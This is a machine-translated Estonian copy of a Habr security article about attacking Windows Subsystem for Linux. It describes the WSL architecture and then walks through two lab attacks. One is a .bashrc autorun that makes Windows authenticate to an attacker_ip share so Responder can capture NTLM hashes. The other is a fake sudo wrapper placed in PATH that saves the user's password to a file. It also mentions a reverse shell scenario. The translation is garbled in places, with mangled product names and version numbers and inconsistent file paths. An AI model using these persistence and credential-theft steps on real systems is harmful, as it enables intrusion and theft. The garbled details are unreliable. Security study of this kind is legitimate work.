WSL katsed. 1. osa

Tere, habr! OTUS käivitab oktoobris uue kursuse voo "Linuxi turvalisus". Kursuse alguse ootuses jagame teiega artiklit, mille on kirjutanud üks meie õpetajatest Aleksandr Kolesnikov.

WSL katsed. 1. osa

2016. aastal tutvustas Microsoft IT-kogukonnale uut WSL-tehnoloogiat (Wsees Sallsüsteem Linux), mis võimaldas tulevikus ühendada seni leppimatud konkurendid, kes võitlesid populaarsuse eest nii tavaliste kui ka edasijõudnud OS-i kasutajate seas: Windows ja Linux. See tehnoloogia võimaldas kasutada Linuxi OS-i tööriistu Windowsi keskkonnas, ilma et oleks vaja käivitada Linuxit, kasutades näiteks Multi-boot. Habrist leiate suure hulga artikleid, mis kirjeldavad WSL-i kasutamise eeliseid. Kahjuks ei leitud selle artikli loomise ajal selle ressursi kohta uuringuid sellise operatsioonisüsteemide sümbioosi turvalisuse kohta. See postitus on katse seda parandada. Artiklis räägitakse WSL 1 ja 2 arhitektuuri funktsioonidest ning uuritakse mitmeid näiteid rünnakutest neid tehnoloogiaid kasutavate süsteemide vastu. Artikkel on jagatud 2 osaks. Esimene pakub Linuxi ja Windowsi peamised teoreetilised rünnakumeetodid. Teine artikkel hõlmab testkeskkonna seadistamist ja rünnakute reprodutseerimist.

WSL 1: arhitektuurilised omadused

WSL-i turvaprobleemidesse kõige täpsemaks sukeldumiseks on vaja kindlaks määrata alamsüsteemi rakendamisega seotud peamised nüansid. Üks peamisi kasutajaülesandeid, mida WSL lahendab, on võimalus töötada Linuxi terminali kaudu Windowsi operatsioonisüsteemiga hostis. Samuti oli pakutav ühilduvus nii loomulik, et Linuxi käivitatavaid faile (ELF) sai käitada otse Windowsi süsteemis. Nende eesmärkide saavutamiseks loodi Windows 10-s spetsiaalne alamsüsteem, mis võimaldab käivitada Linuxi rakendusi kasutades kindlate süsteemikutsete komplekti – seega üritati Windowsis kaardistada Linuxi süsteemikutsete komplekt. Seda rakendati füüsiliselt uute draiverite ja uue protsessivormingu lisamisega. Visuaalselt nägi arhitektuur välja selline:

WSL katsed. 1. osa

Tegelikult korraldati suhtlemine Linuxi operatsioonisüsteemiga mitme tuumamooduli ja spetsiaalse protsessi - pico - kaudu. Ülaltoodud diagrammilt näete, et hostis Linuxi eksemplaris töötav protsess peab olema algne ja kasutama samu ressursse kui tavalised Windowsi rakendused. Aga kuidas seda saavutada? Projektis Tõstesild Töötati välja Windowsi protsessikontseptsioonid, mis tagasid operatsioonisüsteemi kõik vajalikud komponendid (olenevalt selle versioonist) mõne teise OS-i rakenduse käitamiseks.

Pange tähele, et kavandatud abstraktsioon võimaldas mitte keskenduda operatsioonisüsteemile (eriti Windowsile), milles eeldatakse teise OS-i protsessi käivitamist, ja soovitas üldist lähenemisviisi.

Seega võivad kõik pico protsessis olevad rakendused töötada Windowsi tuumast sõltumata:

  1. Süsteemikõnede ühilduvuse ja tõlkimise probleemid peavad lahendama spetsiaalsed pakkujad;
  2. Juurdepääsu kontroll peab toimuma turvamonitori kaudu. Monitor asub kernelis ja seetõttu vajas Windows uuendust uue draiveri näol, mis võiks toimida selliste protsesside pakkujana. Prototüübi pikoprotsess on skemaatiliselt esitatud allpool:

WSL katsed. 1. osa

Kuna Linuxi failisüsteem kasutab tõstutundlikke faili- ja katalooginimesid, lisati Windowsile WSL-iga töötamiseks kahte tüüpi failisüsteeme – VolFS ja DriveFS. VolFS on Linuxi failisüsteemi teostus, DriveFS on failisüsteem, mis töötab Windowsi reeglite järgi, kuid millel on võimalus valida tõstutundlikkust.

WSL 2

WSL 1-l oli mitmeid piiranguid, mis ei võimaldanud seda kasutada maksimaalse hulga ülesannete lahendamiseks: näiteks ei olnud sellel 32-bitiste Linuxi rakenduste käivitamise võimalust ja seadme draiverite kasutamine oli võimatu. Seetõttu ilmus 2020. aastal WSL 2, mis muutis lähenemist alamsüsteemi ehitamisele. WSL 2 on optimeeritud virtuaalne masin, mis vastab WSL 1 ressursitarbimise omadustele. Nüüd saate sõltuvalt Windowsi OS-i kasutaja lahendatud probleemidest valida Linuxi alamsüsteemi vajaliku versiooni. Võimalike haavatavuste leevendamiseks rakendati operatsioonisüsteemis Windows 2 Hyper-V baasil WSL 10. Sellisel kujul on Windowsil võimalus käitada Linuxi operatsioonisüsteemi kernelit isoleeritult. Tasub meeles pidada, et WSL-i 1. versioon võeti kasutusele beetafunktsioonina, mis pidi näitama Windowsi arengu suunda selles valdkonnas, seega oli üleminek Hyper-V-le vältimatu. Lõplik arhitektuur näeb välja selline:

WSL katsed. 1. osa

Selles versioonis on Windowsi ja Linuxi tuumadel oma ressursid ja ristumiskoht eksisteerib ainult failisüsteemis, kuid see ristmik pole täielik. Failisüsteemide vaheline interaktsioon toimub klient-serveri ümbrise kaudu, mis töötab 9P-protokolli kasutades.

Täna pakub Microsoft võimalust lülituda WSL 1 ja WSL 2 vahel. Mõlemad versioonid on kasutamiseks saadaval.

WSL-i turvalisus

Praegu on mitu tööd, mis kirjeldavad mõningaid lähenemisviise legitiimsete OS-i tööriistade kasutamiseks alamsüsteemide vahelise suhtluse ründamiseks. Kasutame nende skripte, et kontrollida rünnakute asjakohasust kirjutamise ajal. Rünnakute ja stsenaariumide üldine loend:

1. Failisüsteemi juurutamine: juurdepääsuõigused, jagatud kataloogide/andmevahetusmehhanismide kättesaadavus.

Alates juurdepääsureeglite rikkumiste väljaselgitamiseks viidi läbi uuringud Linux FS->Windows FS, Windows FS->Linux FS. Uuringud on näidanud võimet siht-OS-is antud faili muuta. Samuti üritati asendada, luua duplikaate ja kustutada osa failisüsteeme.

Stsenaarium:

  • A. Rünnak Windowsi operatsioonisüsteemilt – failide muutmine Linux OS-i kataloogis /etc.
  • B. Linuxi operatsioonisüsteemi rünnak – kataloogides olevate failide muutmine: C:Windows, C:Program Files, C:Users<User>

2. Võrguvirnu juurutamine.

Uuring viidi läbi, kasutades näiteid Windowsi operatsioonisüsteemi Linuxi rünnakutest. Kasutati võrgupinu funktsioone, nimelt erinevate ressursside autentimismehhanisme.

Stsenaarium:

  • Juurdepääsu avamine pordile, mis on hõivatud Windowsi süsteemis
  • Pordi avamine ilma vastavate õigusteta
  • Pöördkesta käitamine elf-faili abil Windowsi operatsioonisüsteemis.

3. Pahatahtliku tarkvara protsesside käivitamise peitmine WSL-i alamsüsteemi abil.

Uurimistöö põhines lihtsal faktil – WSL 1 puhul ei saa turbe alamsüsteemid kinni püüda sündmusi teises kernelis, mis töötab operatsioonisüsteemi legitiimset pakkujat kasutades. WSL 2 puhul ei ole võimalik toimuvaid sündmusi vaadata. eraldi kernelis kerges virtuaalmasinas.

Stsenaarium:

1) Käivitage rakendus süsteemile kaugjuurdepääsuks ja vaadake logitud sündmusi.

WSL 1 katsed: räsi pealtkuulamine (Windows)

Lõpuks jõudsime praktilise osani. Esiteks peate seadistama testkeskkonna. Kõik katsed viiakse läbi pingil, kus on installitud Windows 10 2004. WSL-i operatsioonisüsteemi kujutiseks valiti Ubuntu 18.04 pilt. Pilt valiti juhuslikult ja mis tahes muu pilt töötab samamoodi. Käsud statiivi püstitamiseks:

Esmalt peate käivitama powershell.exe administraatorina.

WSL 1 jaoks peate käivitama järgmised käsud:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Pärast aluse taaskäivitamist saate helistada käsule bash. Kui kõik töötas õigesti, näete Windowsi konsoolis sarnast väljundit:

    WSL katsed. 1. osa

    Ründaja masinana kasutame Kali Linuxi distributsiooni; kõik masinad peavad olema samas kohalikus võrgus.

    Oletame, et meil on Windowsi masinas privilegeerimata juurdepääs WSL-ile. Proovime rünnata Linuxi operatsioonisüsteemi, kutsudes välja Linuxi käsu. Rünnaku rakendamiseks kasutame lihtsat autorun tehnikat – lisame Linuxi keskkonnas täitmiseks oma skripti. Selleks peate faili muutma .bashrc.

    WSL-iga masinas käivitame:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Kali Linuxi masinas käitame:

    1. Responder -I eth0 -rdvw

    Windowsi masinas käivitame bashi.

    Ootame tulemust Kali Linuxi masinas:

    WSL katsed. 1. osa

    Seega saime Windowsi kasutajate räsid WSL-i alamsüsteemi kaudu, käivitades käsu Linuxi süsteemis.

    WSL 1 katsed: kasutaja parooli hankimine (Linux OS)

    Teeme veel ühe katse. Selle kontrolli käigus lisame faili .bashrc Linuxi operatsioonisüsteemi kasutaja parooli saamiseks mitu käsku.

    Käivitame bashi ja sisestame käsud:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Rünnaku edukaks lõpuleviimiseks peab kasutaja Sam kutsuma Linuxi terminalis sudo. Pärast seda on failis Linuxi OS-i kasutaja parool pass.txt:

    WSL katsed. 1. osa

    Rünnakute elluviimine anti ainult teoreetiliseks teabeks.

    Artikli järgmises osas kirjeldatakse 9P-protokolli rakendamist, kaalutakse selle protokolli skanneri loomist ja selle abil ka rünnakut.

    Kasutatud kirjanduse loetelu

    WSL katsed. 1. osa

    Loe rohkem

    Allikas: www.habr.com

    Lisa kommentaar